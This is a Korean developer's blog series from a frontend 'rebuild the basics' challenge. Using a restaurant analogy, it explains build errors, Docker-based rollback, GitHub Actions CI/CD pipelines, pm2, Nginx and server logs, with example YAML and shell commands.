그때는 yarn build가 뭘 하는지도 몰랐고, 서버가 뭔지, pm2가 왜 필요한지, Nginx가 뭔지 전부 막막했다.

15일이 지난 지금, 코드 한 줄이 사용자 화면까지 가는 전체 여정을 설명할 수 있다.

코드 작성 → git push → CI/CD 자동 검사 → Docker 이미지 생성
→ 서버 배포 → pm2 프로세스 관리 → Nginx 요청 전달 → 사용자 화면
→ 문제 생기면 로그 확인 → 롤백

이 하나하나가 다 연결된다는 걸 알게 된 게 가장 큰 수확이다.

특히 서버·인프라 영역(pm2, Nginx, Docker, CI/CD)을 프론트엔드 개발자도 알아야 한다는 걸 체감했다. 자체 서버에서 Next.js를 직접 돌리는 환경이라면 이건 선택이 아니라 필수다.

그리고 이 지식은 나중에 Node.js + Express.js 백엔드 공부할 때 그대로 연결된다. 지금 쌓은 기반이 앞으로의 성장을 훨씬 빠르게 만들어줄 거라 확신한다.

📚 다음 학습 예고

Part 2: 환경변수·시크릿·보안 (Day 16~20) "비밀정보는 어디에 어떻게 숨기는가?"

Day 16: NEXT_PUBLIC_ 접두사의 비밀 (브라우저 노출 vs 서버 전용) API 키, 비밀번호 같은 민감한 정보를 안전하게 관리하는 법을 배운다.

#프론트엔드 #빌드 #배포 #서버 #인프라 #Docker #CI/CD #pm2 #Nginx #2년차개발자 #기초다시쌓기

프론트엔드 기초 다시 쌓기 챌린지 14일차. Week 3 "실전 배포 흐름"의 네 번째 수업. Day 11~13에서 CI/CD + Docker로 완성된 배포 파이프라인을 만들었다면, 오늘은 "문제가 생겼을 때 어떻게 대응하는가"를 배웠다.

🍳 오늘의 비유: "신메뉴 출시했는데 손님이 배탈 났다"

월요일: 새 파스타 레시피 개발 완료
화요일: 자동 주방 시스템(CI/CD)으로 신메뉴 출시
수요일 오전: 손님 3명이 배탈 → 신메뉴에 문제가 있었다!

이때 해야 할 일:

1단계: 증상 확인 (전체 장애? 특정 메뉴만?)
2단계: 일단 신메뉴 판매 중단! (롤백)
3단계: 원인 파악 (재료? 조리법?)
4단계: 고쳐서 다시 출시 (재배포)

핵심 원칙: "고치기 전에 되돌려라"

🚨 에러가 생기는 3가지 타이밍

배포 과정에서 문제가 생기는 타이밍은 크게 3가지다.

git push → [① 빌드 에러] → [② 배포 에러] → [③ 런타임 에러]

① 빌드 에러: "재료 손질 단계에서 실패"

yarn build가 실패하는 경우. CI/CD가 있으면 서버에 올라가기 전에 잡힌다.

자주 만나는 빌드 에러 TOP 5:

1. TypeScript 타입 에러

Type error: Property 'name' does not exist on type '{}'

레시피에 '소금'이라 적었는데 재료 목록에 '소금'이 없는 상황.

// ❌ 에러
const user = {};
console.log(user.name);

// ✅ 수정
const user: { name: string } = { name: "짱효" };
console.log(user.name);

2. import 경로 에러

Module not found: Can't resolve './components/Haeder'

오타! Haeder → Header

3. 환경변수 누락

Error: NEXT_PUBLIC_API_URL is not defined

로컬에서는 .env에 있어서 되는데, CI/CD에서는 GitHub Secrets에 안 넣어서 실패하는 경우.

4. 패키지 버전 충돌

npm ERR! Could not resolve dependency:
peer react@"^17.0.0" from some-package@1.0.0

이 소스는 A브랜드 올리브오일에서만 되는데 B브랜드를 쓰고 있는 상황.

5. 메모리 부족

FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory

# 해결: 빌드할 때 메모리 늘려주기
NODE_OPTIONS="--max-old-space-size=4096" yarn build

② 배포 에러: "주방까지 왔는데 세팅이 안 된다"

빌드는 성공했는데 서버에 올리는 과정에서 실패.

- SSH 접속 실패 → 키가 만료됐거나, 서버 IP가 바뀜
- docker pull 실패 → Docker Hub 인증 문제
- 포트 충돌 → 기존 컨테이너가 안 꺼졌음
- 디스크 용량 부족 → 서버에 공간이 없음

③ 런타임 에러: "영업 시작했는데 손님이 음식을 못 받는다"

빌드도 성공, 배포도 성공, 근데 사이트가 이상한 경우.

- API 서버가 죽어있음 → 데이터를 못 가져옴
- 환경변수가 프로덕션 값이 아님 → 테스트 DB를 바라보고 있음
- 새 기능에 버그가 있음 → 특정 페이지에서 에러

이게 가장 무서운 에러다. 빌드/배포 에러는 CI/CD에서 걸려서 사용자한테 안 가지만, 런타임 에러는 사용자가 직접 겪는다.

CI/CD가 잡을 수 있는 에러 vs 못 잡는 에러

✅ CI/CD가 잡아줌: 빌드 에러, 배포 에러
❌ CI/CD가 못 잡음: 런타임 에러 (테스트 코드가 있어야 잡을 수 있음)

🔄 롤백 — "이전 버전으로 되돌리기"

롤백이란?

배포한 버전에 문제가 생겼을 때, 이전에 잘 되던 버전으로 돌아가는 것

Docker 이미지 복습

롤백을 이해하려면 Docker 이미지가 뭔지 다시 짚고 가야 한다.

이미지 = 코드 + 실행환경이 통째로 들어있는 박스

[이미지 안에 들어있는 것]
- Ubuntu 운영체제
- Node.js 18
- yarn
- 내 프로젝트 코드
- node_modules (패키지들)
- .next 폴더 (yarn build 결과물)

즉 빌드까지 다 끝난 완성품이 이미지 안에 들어있다. 이동식 주방 설계도인데, 재료 손질(빌드)까지 다 끝난 상태가 포함된 것.

이게 왜 중요하냐면, 배포할 때마다 이미지에 버전 태그를 달아두면:

v1.0 이미지 = Node 18 + 코드 + 빌드 결과물 (정상 버전)
v1.1 이미지 = Node 18 + 코드 + 빌드 결과물 (버그 있는 버전)

버그 발견! → v1.0 이미지로 docker run → 끝!
다시 빌드할 필요 없음. 이미 빌드된 결과가 이미지 안에 있으니까.

이래서 Docker 롤백이 빠른 거다.

롤백 방법 3가지

방법 1: Docker 이미지 태그로 롤백 (⚡ 가장 빠름, 1~2분)

# v1.1에서 문제 발생! → v1.0으로 롤백
docker stop my-app
docker rm my-app
docker run -d --name my-app -p 5008:5008 my-app:v1.0

이전 이미지가 Docker Hub에 보관되어 있으니까 태그만 바꿔서 실행하면 끝. 다시 빌드할 필요가 없다. 이미 빌드된 완성품이 이미지 안에 있으니까.

방법 2: Git으로 롤백 (🏃 5~10분)

git revert HEAD
git push origin main
# → CI/CD가 다시 돌면서 이전 상태의 이미지를 새로 만들고 배포

방법 3: 수동 롤백 — Docker 없을 때 (🐢 10~20분)

ssh -i key.pem ubuntu@서버IP
cd /var/www/my-project
git log --oneline -5        # 커밋 목록 확인
git revert HEAD             # 이전 버전으로 돌리기
yarn build                  # 다시 빌드
pm2 restart my-app          # 재시작

3가지 방법 비교

Docker 롤백이 압도적으로 빠른 이유: 이전 이미지가 이미 빌드된 상태로 보관되어 있어서 다시 빌드할 필요가 없다!

🚒 실전 대응 프로세스

실제로 문제가 생겼을 때의 대응 순서:

🚨 "사이트가 이상해요!" 알림 받음
        ↓
1단계: 증상 확인 (30초)
   → 전체 장애? 특정 페이지만? 에러 메시지는?
        ↓
2단계: 롤백 결정 (1분)
   → 심각하면 바로 롤백! 사소하면 핫픽스 검토
        ↓
3단계: 롤백 실행 (1~2분)
   → docker run으로 이전 버전 실행
        ↓
4단계: 정상 확인 (1분)
   → 사이트 접속 + 로그 확인 (Day 10)
        ↓
5단계: 원인 파악 (시간 여유 있게)
   → 로그 분석, 코드 확인, 재현 시도
        ↓
6단계: 수정 후 재배포
   → 코드 수정 → git push → CI/CD → 자동 배포

가장 중요한 원칙:

⚡ "고치기 전에 되돌려라"

사이트가 터진 상태에서 원인 찾고 코드 고치면 30분1시간. 그 동안 사용자는 계속 에러를 보고 있다. 먼저 롤백(12분)하고, 사이트 정상화한 다음 천천히 고치자.

🍳 레스토랑 비유 업데이트

🎯 오늘 배운 것 최종 정리

1. 에러 3가지 타이밍: 빌드 에러 → 배포 에러 → 런타임 에러
2. 가장 위험한 건 런타임 에러: CI/CD가 못 잡고, 사용자가 직접 겪음
3. 빌드 에러 TOP 5: 타입 에러, import 경로, 환경변수 누락, 패키지 충돌, 메모리 부족
4. 롤백: 문제 생기면 이전에 잘 되던 버전으로 되돌리는 것
5. Docker 이미지 = 빌드까지 끝난 완성품: 이래서 롤백이 1~2분만에 가능
6. 롤백 3가지: Docker 태그(12분) > git revert(510분) > 수동(10~20분)
7. 핵심 원칙: "고치기 전에 되돌려라" — 롤백 먼저, 디버깅은 그 다음
8. 실전 순서: 증상 확인 → 롤백 → 정상 확인 → 원인 파악 → 수정 후 재배포

🧪 이해도 체크

Q1. 배포 후 사이트에 버그가 발견됐을 때, 가장 먼저 해야 할 일은? → 정답: 증상 확인(전체 장애? 부분 장애?) 후 바로 롤백. 사용자가 계속 에러를 보고 있으니까 고치기 전에 먼저 되돌려야 한다.

Q2. Docker로 배포하는 환경에서 롤백이 빠른 이유는? → 정답: 이전 이미지에 빌드 결과물까지 다 들어있어서 다시 빌드할 필요 없이 docker run만 하면 끝.

Q3. CI/CD가 잡을 수 있는 에러와 못 잡는 에러는? → 정답: 빌드 에러, 배포 에러는 잡을 수 있다. 런타임 에러는 못 잡는다. 런타임 에러를 잡으려면 테스트 코드가 필요하다.

💭 회고

Day 11~13에서 "어떻게 배포하는가"를 배웠다면, 오늘은 "배포가 잘못됐을 때 어떻게 하는가"를 배웠다.

가장 인상 깊었던 건 "고치기 전에 되돌려라" 라는 원칙이다. 개발자 본능은 "원인 찾아서 고치자"인데, 실무에서는 사용자가 보고 있으니까 일단 되돌리고 천천히 고치는 게 맞다.

그리고 Docker 이미지가 "빌드까지 끝난 완성품"이라는 걸 다시 정리하니까 왜 Docker 롤백이 1~2분만에 되는지 확실히 이해됐다. 이전 이미지가 Docker Hub에 보관되어 있으니까 꺼내서 실행만 하면 끝이다.

📚 다음 학습 예고

Day 15: Part 1 회고 + 총정리 Week 1~3에서 배운 빌드·배포·서버·인프라 전체를 한번에 정리! 15일간의 여정을 하나의 큰 그림으로 연결한다.

#프론트엔드 #빌드에러 #롤백 #Docker #배포 #2년차개발자 #기초다시쌓기

프론트엔드 기초 다시 쌓기 챌린지 13일차. Week 3 "실전 배포 흐름"의 세 번째 수업. Day 11에서 CI/CD를, Day 12에서 Docker를 각각 배웠다면, 오늘은 이 둘을 합쳐서 완성된 배포 파이프라인을 만드는 시간이었다.

🍳 오늘의 비유: "자동화 시스템 완성"

지금까지 배운 걸 레스토랑으로 쭉 이어보면:

수동 시대 (Day 11 이전)

셰프가 직접 시장 가서 재료 삼
→ 직접 손질
→ 직접 주방 세팅
→ 직접 불 켬
→ 하루 5번이면 셰프가 쓰러짐

CI/CD만 도입 (Day 11)

레시피 제출하면 로봇이 자동으로 처리
→ 근데 2호점은 주방 환경이 달라서 맛이 다름 😩

Docker만 도입 (Day 12)

주방 통째로 박스에 넣어서 보내면 어디서든 같은 맛
→ 근데 박스 만들고 보내는 걸 사람이 직접 해야 함 😩

CI/CD + Docker (오늘!)

셰프가 레시피북에 새 레시피 적어 넣으면 (git push)
→ 로봇이 자동으로 이동식 주방(이미지) 만들고
→ 중앙 창고(Docker Hub)에 보관하고
→ 각 지점(서버)에서 꺼내서 영업 시작
→ 셰프는 레시피만 잘 쓰면 됨!

🔄 전체 파이프라인: git push → 사용자 화면

오늘의 핵심. 개발자가 하는 일은 git push 하나뿐이다. 나머지는 전부 자동.

[1. 개발자]
코드 수정 → git push to main

        ↓

[2. GitHub Actions (CI)]
코드 체크아웃
→ docker build (이미지 생성)
→ 테스트 실행 (lint, 빌드 확인)
→ docker push (이미지를 Docker Hub에 업로드)

        ↓

[3. Docker Hub (창고)]
이미지 보관 중...

        ↓

[4. GitHub Actions (CD)]
SSH로 서버 접속
→ docker pull (이미지 다운로드)
→ docker run (컨테이너 실행)

        ↓

[5. 서버]
컨테이너 안에서 yarn start 자동 실행
→ Nginx가 요청을 컨테이너로 전달

        ↓

[6. 사용자]
사이트 접속 → 새 버전 확인!

📄 실제 GitHub Actions + Docker YAML 파일

Day 11에서는 Docker 없이 배포하는 YAML을 봤다. 오늘은 Docker를 합친 버전이다.

# .github/workflows/deploy.yml
name: Docker 배포 자동화

on:
  push:
    branches: [main]

jobs:
  build-and-push:
    runs-on: ubuntu-latest

    steps:
      # 1단계: 코드 가져오기
      - name: 코드 체크아웃
        uses: actions/checkout@v4

      # 2단계: Docker Hub 로그인
      - name: Docker Hub 로그인
        run: echo ${{ secrets.DOCKER_PASSWORD }} | docker login -u ${{ secrets.DOCKER_USERNAME }} --password-stdin

      # 3단계: Docker 이미지 빌드
      - name: 이미지 빌드
        run: docker build -t myusername/my-nextjs-app:latest .

      # 4단계: Docker Hub에 업로드
      - name: 이미지 푸시
        run: docker push myusername/my-nextjs-app:latest

  deploy:
    needs: build-and-push    # 위의 job이 끝나야 실행
    runs-on: ubuntu-latest

    steps:
      # 5단계: 서버에 접속해서 새 이미지로 실행
      - name: 서버 배포
        run: |
          ssh -i ${{ secrets.SSH_KEY }} ubuntu@${{ secrets.SERVER_IP }} << 'EOF'
            docker pull myusername/my-nextjs-app:latest
            docker stop my-app || true
            docker rm my-app || true
            docker run -d --name my-app -p 5008:5008 myusername/my-nextjs-app:latest
          EOF

레스토랑 비유로 한 줄씩 해석

코드 체크아웃          → 재료 창고에서 레시피 가져오기
Docker Hub 로그인     → 중앙 창고 출입증 찍기
이미지 빌드           → 이동식 주방 조립 (Dockerfile 기반)
이미지 푸시           → 완성된 주방을 중앙 창고에 보관
서버 배포:
  docker pull         → 지점에서 창고에서 주방 꺼내오기
  docker stop/rm      → 기존 주방 정리
  docker run          → 새 주방 세팅하고 영업 시작!

🔑 오늘 새로 배운 키워드들

needs: build-and-push

Job 간 순서를 지정하는 것이다.

Job 1: build-and-push (이미지 만들고 창고에 올리기)
Job 2: deploy (서버에 배포하기)

needs = "Job 1이 끝나야 Job 2를 시작해"

당연하다. 이미지가 창고에 올라가지도 않았는데 서버에서 꺼내올 수는 없으니까.

docker stop → docker rm → docker run 3단계

docker stop my-app || true    # 기존 컨테이너 멈춤
docker rm my-app || true      # 기존 컨테이너 삭제
docker run -d --name my-app -p 5008:5008 myusername/my-nextjs-app:latest

왜 3단계인가?

1. docker stop  → 기존 푸드트럭 영업 종료
2. docker rm    → 기존 푸드트럭 철거
3. docker run   → 새 푸드트럭 세팅하고 영업 시작

기존 컨테이너가 5008 포트를 쓰고 있으니까, 안 지우고 새 걸 띄우면 포트 충돌이 난다. 하나의 포트에 두 개의 앱이 동시에 붙을 수 없다 (Day 9에서 배운 내용).

|| true는 "혹시 기존 컨테이너가 없어도 에러 내지 말고 넘어가"라는 뜻이다. 처음 배포할 때는 기존 컨테이너가 없을 수 있으니까.

-d 플래그 = 백그라운드 실행

docker run my-app        → 터미널에 로그가 쭉 뜸, 터미널 닫으면 멈춤
docker run -d my-app     → 백그라운드에서 조용히 실행, 터미널 닫아도 계속 돌아감

Day 7에서 배운 "SSH 끊으면 프로세스가 죽는 문제"를 -d가 해결해준다.

📊 Day 11 방식 vs Day 13 방식 비교

🔗 Week 1~3 전체 연결

지금까지 배운 모든 게 하나의 파이프라인 안에 들어있다.

[개발자] 코드 작성 + git push
    ↓
[GitHub Actions] CI/CD (Day 11)
    ↓
[Docker] 이미지 빌드 + 푸시 (Day 12)
    ↓
[서버] docker pull + docker run (Day 13 - 오늘)
    ↓
[pm2 또는 Docker] 프로세스 관리 (Day 8)
    ↓
[Nginx] 요청을 앱으로 전달 (Day 9)
    ↓
[사용자] 사이트 접속!
    ↓
[로그] 문제 생기면 확인 (Day 10)

Week 1에서 배운 빌드, Week 2에서 배운 서버·pm2·Nginx, Week 3에서 배운 CI/CD·Docker가 전부 하나로 연결된다.

🍳 레스토랑 비유 업데이트

🎯 오늘 배운 것 최종 정리

1. CI/CD + Docker = 완성된 배포 파이프라인: git push만 하면 이미지 생성 → 창고 업로드 → 서버 배포까지 전부 자동
2. 개발자가 하는 일은 git push 하나뿐: 나머지는 GitHub Actions가 전부 자동 처리
3. 서버에서는 docker pull + docker run만: 빌드는 이미지 안에 이미 완료
4. needs: Job 간 순서 지정 ("이미지 만들기 끝나야 배포 시작")
5. stop → rm → run 3단계: 기존 컨테이너 정리하고 새 걸로 교체 (포트 충돌 방지)
6. -d 플래그: 백그라운드 실행 (SSH 끊어도 계속 돌아감)
7. Week 1~3 전체 연결: 빌드 → CI/CD → Docker → 서버 → Nginx → 사용자

🧪 이해도 체크

Q1. CI/CD + Docker 배포에서 개발자가 하는 일은? → 정답: git push 하나뿐. 이후 GitHub Actions가 docker build → docker push → 서버에서 docker pull → docker run까지 전부 자동으로 처리.

Q2. Day 11 방식과 Day 13 방식에서 "서버에서 하는 일"의 차이는? → 정답: Docker 없이는 서버에서 git pull → yarn install → yarn build → pm2 restart를 직접 해야 한다. Docker로는 docker pull → docker run만 하면 끝. 빌드는 이미지 안에 이미 완료되어 있기 때문.

Q3. docker stop → docker rm → docker run 3단계를 거치는 이유는? → 정답: 기존 컨테이너가 포트를 잡고 있어서, 안 지우고 새 걸 띄우면 포트 충돌이 난다. 기존 걸 멈추고(stop), 지우고(rm), 새로 띄우는(run) 순서.

💭 회고

Day 11에서 CI/CD를 배웠을 때는 "자동화 편하겠다" 정도였고, Day 12에서 Docker를 배웠을 때는 "환경 통일 좋겠다" 정도였다.

오늘 이 둘을 합치니까 비로소 "아, 이게 현대적인 배포구나" 가 느껴졌다. git push 하나로 빌드부터 배포까지 전부 자동. 환경도 동일 보장.

Week 1~3에서 배운 빌드, 서버, pm2, Nginx, CI/CD, Docker가 전부 하나의 파이프라인 안에 들어있다는 게 신기했다. 하나하나 따로 배울 때는 몰랐는데, 합치니까 전부 연결된다.

📚 다음 학습 예고

Day 14: 빌드 에러 해결 패턴 + 롤백 개념 자동 배포가 완성됐는데... 배포한 버전에 버그가 있으면? "되돌리기"는 어떻게 하는가!

#프론트엔드 #Docker #CI/CD #GitHubActions #배포파이프라인 #2년차개발자 #기초다시쌓기

프론트엔드 기초 다시 쌓기 챌린지 11일차. Week 3 "실전 배포 흐름"의 첫 번째 수업. 지금까지 빌드·배포·서버·pm2·Nginx·로그까지 배웠다면, 오늘은 "이걸 왜 매번 수동으로 하고 있었지?" 라는 질문에서 시작한다.

🤖 오늘의 비유: "자동 주방 관리 로봇"

지금까지의 배포 과정을 떠올려보면 이렇다.

1. 코드 수정 완료
2. SSH로 서버 접속
3. git pull (코드 가져오기)
4. yarn build (빌드)
5. pm2 restart (재시작)
6. 잘 되나 확인

하루에 한 번이면 괜찮은데, 하루에 5번 배포하면? 실수할 확률이 엄청 올라간다.

레스토랑 비유로 하면 셰프가 매번 직접 시장 가서 재료 사고, 손질하고, 세팅하고, 불 켜는 것이다.

CI/CD는 "자동 주방 관리 로봇"을 도입하는 것이다. 새 레시피를 레시피북에 적어 넣으면(git push), 로봇이 알아서 다 해준다.

🔄 CI와 CD, 각각 뭔가?

CI: Continuous Integration (지속적 통합)

"코드를 합칠 때마다 자동으로 검사한다"

레스토랑 비유로 하면 자동 품질 검사 시스템이다.

• 셰프가 새 레시피를 제출하면
• 자동으로 맛 테스트 (코드 테스트)
• 자동으로 위생 검사 (린트 검사)
• 자동으로 재료 손질 가능한지 확인 (빌드 성공 여부)
• 통과하면 ✅, 실패하면 ❌ 알림

핵심: "문제를 빨리 발견하는 것"

CD: Continuous Deployment / Delivery (지속적 배포)

"검사 통과하면 자동으로 배포까지 한다"

여기서 Delivery와 Deployment의 차이가 중요하다.

Delivery vs Deployment 차이는 딱 하나:

마지막 "배포 실행" 버튼을 사람이 누르느냐, 자동이냐.

많은 회사에서 Delivery를 쓰는 이유는, 프로덕션에 자동으로 바로 올라가면 무서우니까 "마지막 확인은 사람이 하자" 라는 안전장치를 두는 것이다. 쇼핑몰 같은 서비스는 결제 몰리는 시간에 배포하면 안 되니까.

⚙️ GitHub Actions란?

CI/CD를 해주는 도구는 여러 개 있다. Jenkins, CircleCI, GitLab CI 등. 그 중 GitHub Actions는 GitHub에 내장된 CI/CD 도구다.

레스토랑 비유로 하면 레스토랑에 설치된 "자동 주방 관리 로봇"이다. 레시피북(GitHub 저장소)에 새 레시피가 추가되면, 로봇이 자동으로 일을 시작한다.

핵심 용어 4가지

📦 Workflow (워크플로우) = "자동화 작업 전체 계획서"
   → 로봇에게 주는 작업 지시서

📋 Event (이벤트) = "언제 시작할지"
   → "새 레시피가 들어오면 시작해" (push, pull request 등)

🔧 Job (잡) = "큰 작업 단위"
   → "1번: 재료 검사하기, 2번: 요리하기"

👣 Step (스텝) = "잡 안의 세부 단계"
   → "1-1: 재료 꺼내기, 1-2: 신선도 확인, 1-3: 손질하기"

워크플로우 파일은 어디에?

프로젝트 루트에 .github/workflows/ 폴더 안에 YAML 파일로 만든다.

내 프로젝트/
├── .github/
│   └── workflows/
│       └── deploy.yml    ← 이 파일이 "작업 지시서"
├── pages/
├── package.json
└── ...

📄 실제 GitHub Actions 파일 읽어보기

아직 직접 만들 필요는 없다. 읽을 수 있으면 된다.

# .github/workflows/deploy.yml
name: 배포 자동화          # 워크플로우 이름

on:                        # 📋 Event: "언제 실행할지"
  push:
    branches: [main]       # main 브랜치에 push하면 실행

jobs:                      # 🔧 Job 목록
  build-and-deploy:        # Job 이름
    runs-on: ubuntu-latest # 어떤 컴퓨터에서 실행할지

    steps:                 # 👣 세부 단계들
      # 1단계: 코드 가져오기
      - name: 코드 체크아웃
        uses: actions/checkout@v4

      # 2단계: Node.js 설치
      - name: Node.js 설치
        uses: actions/setup-node@v4
        with:
          node-version: '18'

      # 3단계: 패키지 설치
      - name: 의존성 설치
        run: yarn install

      # 4단계: 빌드
      - name: 빌드
        run: yarn build

      # 5단계: 서버에 배포
      - name: 서버에 배포
        run: |
          ssh -i ${{ secrets.SSH_KEY }} ubuntu@${{ secrets.SERVER_IP }} << 'EOF'
            cd /var/www/my-project
            git pull origin main
            yarn install
            yarn build
            pm2 restart my-app
          EOF

레스토랑 비유로 한 줄씩 해석

name: 배포 자동화        → 작업 지시서 이름: "신메뉴 자동 세팅"
on: push, branches: main → "메인 레시피북에 새 레시피 들어오면 시작"
runs-on: ubuntu-latest   → "임시 작업 공간에서 실행"
코드 체크아웃             → 재료 창고에서 재료 꺼내오기
Node.js 설치             → 조리 도구 준비
yarn install             → 재료 진열
yarn build               → 재료 손질 + 소스 만들기
서버에 배포              → 완성된 걸 진짜 주방으로 옮기고 불 켜기

🔐 GitHub Secrets

위 파일에서 ${{ secrets.SSH_KEY }} 부분이 있다.

SSH 키나 서버 IP 같은 비밀 값을 코드에 직접 쓰면 전 세계에 공개된다. 그래서 GitHub 저장소의 Settings → Secrets에 저장해두고 필요할 때만 꺼내 쓴다.

레스토랑 비유: 로봇에게 열쇠(SSH 키)를 주려면 금고(Secrets)에 넣어두고 필요할 때만 꺼내 쓰게 하는 것. 레시피북(코드)에 열쇠를 붙여놓으면 누구나 볼 수 있으니까.

🧪 CI에서 자동으로 돌리는 검사 3가지

1. 코드 규칙 검사 (Lint)

레스토랑 비유: "레시피 맞춤법 검사"

// ❌ lint 에러: 세미콜론 빠짐, 안 쓰는 변수
const name = "hello"
const unused = 123

// ✅ 통과
const name = "hello";

ESLint 같은 도구가 "코드 스타일이 규칙에 맞는지" 자동 검사해준다.

2. 빌드 테스트

레스토랑 비유: "재료 손질이 제대로 되는지 확인"

yarn build가 성공하는지 확인하는 것. 단순하지만 엄청 중요하다. TypeScript 타입 에러가 있으면 빌드가 깨지는데, 서버에서 발견하면 이미 늦는다. CI에서 미리 잡아준다.

3. 유닛 테스트 / 컴포넌트 테스트

레스토랑 비유: "자동 맛 테스트 로봇"

// "장바구니에 상품 추가하면 수량이 1 증가해야 한다"
test('장바구니 추가', () => {
  const cart = addItem(cart, item);
  expect(cart.length).toBe(1);  // 1이면 ✅, 아니면 ❌
});

실행 순서:

git push → lint 검사 → 빌드 테스트 → 유닛 테스트
  → 전부 ✅ → 배포 진행
  → 하나라도 ❌ → 배포 중단 + 알림

모든 회사가 3개 다 하는 건 아니다. 작은 팀이나 초기 프로젝트에서는 lint + 빌드만 돌리는 경우도 많다.

📊 CI/CD 없을 때 vs 있을 때

🍳 레스토랑 비유 업데이트

🎯 오늘 배운 것 최종 정리

1. CI/CD란: git push만 하면 빌드·테스트·배포가 자동으로 돌아가는 시스템
2. CI (Continuous Integration): 코드 합칠 때 자동 검사 (lint → 빌드 → 테스트)
3. CD Delivery: 배포 직전까지 자동, 마지막은 사람이 승인
4. CD Deployment: 배포까지 전부 자동
5. GitHub Actions: .github/workflows/에 YAML 파일로 작성
6. 4가지 핵심 개념: Workflow → Event → Job → Step
7. Secrets: SSH 키 같은 비밀 값은 GitHub Secrets에 보관
8. CI 검사 3가지: lint(코드 규칙) → 빌드 테스트 → 유닛 테스트

🧪 이해도 체크

Q1. CI/CD를 레스토랑 비유로 설명하면? → 정답: 레시피북에 새 레시피 넣으면 자동으로 재료 손질 + 맛 테스트 + 주방 세팅까지 되는 것

Q2. Delivery와 Deployment의 차이는? → 정답: 마지막 배포 버튼을 사람이 누르느냐(Delivery), 자동이냐(Deployment)

Q3. 비밀 값(SSH 키 등)을 GitHub Actions에서 쓰려면? → 정답: GitHub 저장소의 Secrets에 저장. 코드에 직접 쓰면 전 세계에 공개됨

💭 회고

지금까지 Day 7에서 SSH, Day 8에서 pm2, Day 9에서 Nginx를 배우면서 수동으로 서버에 접속하고, 빌드하고, 재시작하는 흐름을 익혔다.

오늘은 "이걸 왜 매번 수동으로 하고 있었지?" 라는 질문에 대한 답을 찾았다. CI/CD가 별게 아니었다. 내가 수동으로 하던 과정을 로봇이 대신하는 것이다.

YAML 파일이 처음에는 낯설었는데, 한 줄씩 레스토랑 비유로 해석하니까 "아 그냥 내가 터미널에 치던 명령어를 순서대로 적어놓은 거구나" 싶었다.

특히 Delivery와 Deployment 차이가 인상적이었다. "마지막 버튼을 사람이 누르느냐, 자동이냐" 하나 차이인데, 실제로 프로덕션 배포할 때 이 안전장치가 얼마나 중요한지 느껴진다.

📚 다음 학습 예고

Day 12: Docker 기초 — 컨테이너가 뭐야? GitHub Actions에서 runs-on: ubuntu-latest라고 쓴 "임시 작업 공간" 개념을 더 깊이 파고든다. 레스토랑 비유: "어디에 가져다 놔도 똑같은 요리가 나오는 이동식 주방" 🚚

#프론트엔드 #CI/CD #GitHubActions #배포자동화 #2년차개발자 #기초다시쌓기

📚 Week 1 후반 ~ Week 2 전체 복습용 한눈에 보는 핵심 정리

Day 5: 개발 서버 vs 프로덕션 서버

dev = 개발 모드, start = 프로덕션 모드 (둘 다 어디서든 실행 가능!)

⚠️ "dev는 로컬, start는 서버"가 아니다! dev는 개발 모드, start는 프로덕션 모드가 정확한 표현.

Day 6: 서버란 무엇인가?

서버 = 24시간 켜져 있으면서 요청에 응답하는 컴퓨터 (주방 건물)

트래픽 폭증 시 가장 빠른 대응: Vercel (자동 스케일링)

배포와 실행은 다른 단계! | 개념 | 의미 | 비유 | |---|---|---| | 배포 | 빌드된 파일을 서버로 옮김 | 재료를 주방에 갖다 놓음 | | 실행 (yarn start) | 앱 프로그램을 켬 | 가스레인지 불 켜고 영업 시작 |

Day 7: SSH란?

SSH = 멀리 있는 서버에 안전하게 접속해서 명령어를 입력하는 방법 (전화선)

접속 명령어

ssh -i my-key.pem ubuntu@13.125.200.50

인증 방식

⚠️ 개인 키는 절대 Git에 올리면 안 된다!

자주 쓰는 명령어

pwd          # 현재 위치
ls -la       # 폴더 내용 보기
cd 경로       # 폴더 이동
cat 파일명    # 파일 내용 보기
exit         # 접속 종료

Day 8: pm2 / 프로세스 매니저

pm2 = 프로세스를 감시하고, 죽으면 살려주는 주방 매니저

비유 구조

💡 "프로세스가 죽는다" = 개발자 관점 💡 "사이트가 죽는다" = 사용자 관점 → 같은 현상을 다른 관점에서 보는 것!

pm2 없으면 생기는 문제 3가지

핵심 명령어

pm2 start yarn --name "prod-app" -- start -p 5008   # 앱 시작
pm2 list              # 프로세스 목록
pm2 logs prod-app     # 로그 보기
pm2 restart prod-app  # 재시작
pm2 stop prod-app     # 멈추기
pm2 delete prod-app   # 삭제

pm2 startup           # 서버 켜지면 pm2 자동 실행 설정
pm2 save              # 현재 프로세스 명단 저장

pm2 startup = 주방 매니저 자동 출근 알람 pm2 save = 셰프 출근 명단표 저장

Day 9: Nginx / 리버스 프록시

Nginx = 요청을 받아서 알맞은 앱으로 전달해주는 홀 매니저

Nginx가 하는 일

사용자: https://my-site.com (자동으로 443번 포트)
    ↓
Nginx: 443번에서 대기하다가 받음
    ↓
localhost:5008로 전달 (포트 번호를 사용자에게 숨김)

여러 앱 분배

리버스 프록시란?

서버를 대신해서 요청을 받아주는 대리인 (서버 내부 구조를 숨긴다)

포트 안 쳐도 되는 이유

• HTTP 기본 포트 = 80
• HTTPS 기본 포트 = 443
• 브라우저가 자동으로 기본 포트로 요청 → Nginx가 받아서 내부 포트로 전달

⚠️ Nginx는 주소를 만들어주는 게 아니다! 도메인 주소는 DNS가 만들어주고, Nginx는 들어온 요청을 알맞은 곳으로 전달하는 역할.

Day 10: 로그 확인하기

로그 = 서버에서 일어난 일의 기록 (CCTV)

꼭 기억할 것 3가지

로그 확인 순서

1단계: pm2 logs → 코드 에러 확인 (대부분 여기서 해결!)
    ↓
2단계: Nginx error.log → 요청 전달 문제 확인
    ↓
3단계: 시스템 로그 → 서버 컴퓨터 자체 문제 확인

| (파이프)

"왼쪽 결과에서 오른쪽 조건에 맞는 것만 골라줘"

pm2 logs | grep "ERROR"     # ERROR만 보기
pm2 logs | grep "products"  # 특정 페이지 관련 로그만 보기

🗺️ Day 5~10 전체 구조 한눈에 보기

사용자가 my-site.com 접속
        ↓
    [ Nginx ] (홀 매니저) — 80/443번 포트에서 대기
        ↓
    proxy_pass → localhost:5008
        ↓
    [ pm2 ] (주방 매니저) — 프로세스 감시·관리
        ↓
    [ Node.js / Next.js ] (셰프) — 실제 응답 생성
        ↓
    HTML, CSS, JS 응답
        ↓
    사용자 화면에 사이트 표시!

